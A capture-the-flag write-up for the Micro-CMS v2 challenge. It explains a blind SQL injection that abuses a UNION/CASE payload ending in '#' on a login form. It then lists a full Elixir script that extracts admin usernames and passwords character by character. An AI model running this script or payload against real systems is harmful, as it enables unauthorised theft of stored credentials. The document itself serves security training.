Micro-CMS v2 CTF revisited
I was curious about other solutions to Micro-CMS v2 and realised
I can speed up extracting the information from the database because
we don’t actually need to use SLEEP
.
The (obvious) insight is that we can get rid of the trailing '
by
ending our injected string with #
.
That means we can reuse the logic from the previous flag where we UNION
a password we supply and also include that password as the password
parameter.
This time though we don’t really care that we get logged in just that logging in yields a different result than getting the invalid password message.
The reason that the #
allows this is because we can end our query with something
that doesn’t need to be a string literal and instead we can set username
to something like
"' UNION SELECT (CASE WHEN <test> THEN 'mychosenpassword' ELSE 'NOTmychosenpassword' END) FROM admins #"
If we also pass in password
as mychosenpassword
then we will get logged in when evaluates to true.
Otherwise we’ll get invalid password
.
Full code listing⌗
defmodule MicroCMSv2 do
@headers [
{"Content-Type", "application/x-www-form-urlencoded"},
{"Accept", "text/html"}
]
@charset "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
def hack(url) do
admins_row_count = get_number(url, "COUNT(*)")
IO.puts "admins table has #{admins_row_count} rows"
username_length = get_number(url, "CHAR_LENGTH(username)")
IO.puts "username is #{username_length} characters"
password_length = get_number(url, "CHAR_LENGTH(password)")
IO.puts "password is #{password_length} characters"
get_string(url, "username", username_length)
get_string(url, "password", password_length)
end
@doc """
Get a count (e.g. number of rows, length of a string) from the database
"""
def get_number(url, query) do
Enum.reduce_while(1..32, nil, fn i, acc ->
query = "' UNION SELECT (CASE WHEN #{query}=#{i} THEN 'mychosenpassword' ELSE 'NOTmychosenpassword' END) FROM admins #"
if guess_correct?(url, query) do
{:halt, i}
else
{:cont, acc}
end
end)
end
@doc """
Extract a string using get_char
"""
def get_string(url, value, length) do
IO.puts "Extracting #{value}"
Enum.each(1..length, fn i ->
Enum.reduce_while(charset(), nil, fn char, acc ->
query = "' UNION SELECT (CASE WHEN SUBSTRING(#{value}, #{i}, 1) = BINARY '#{char}' THEN 'mychosenpassword' ELSE 'NOTmychosenpassword' END) FROM admins #"
if guess_correct?(url, query) do
IO.puts "#{value} character #{i}: #{char}"
{:halt, char}
else
{:cont, acc}
end
end)
end)
end
def guess_correct?(url, query) do
username = query
password = "mychosenpassword"
resp = HTTPoison.post!(url, URI.encode_query(%{password: password, username: username}), @headers)
!String.contains?(resp.body, "Invalid password")
end
@doc """
Turn the charset string into a list of characters
"""
def charset() do
String.to_charlist(@charset) |> Enum.map(fn c -> List.to_string([c]) end)
end
end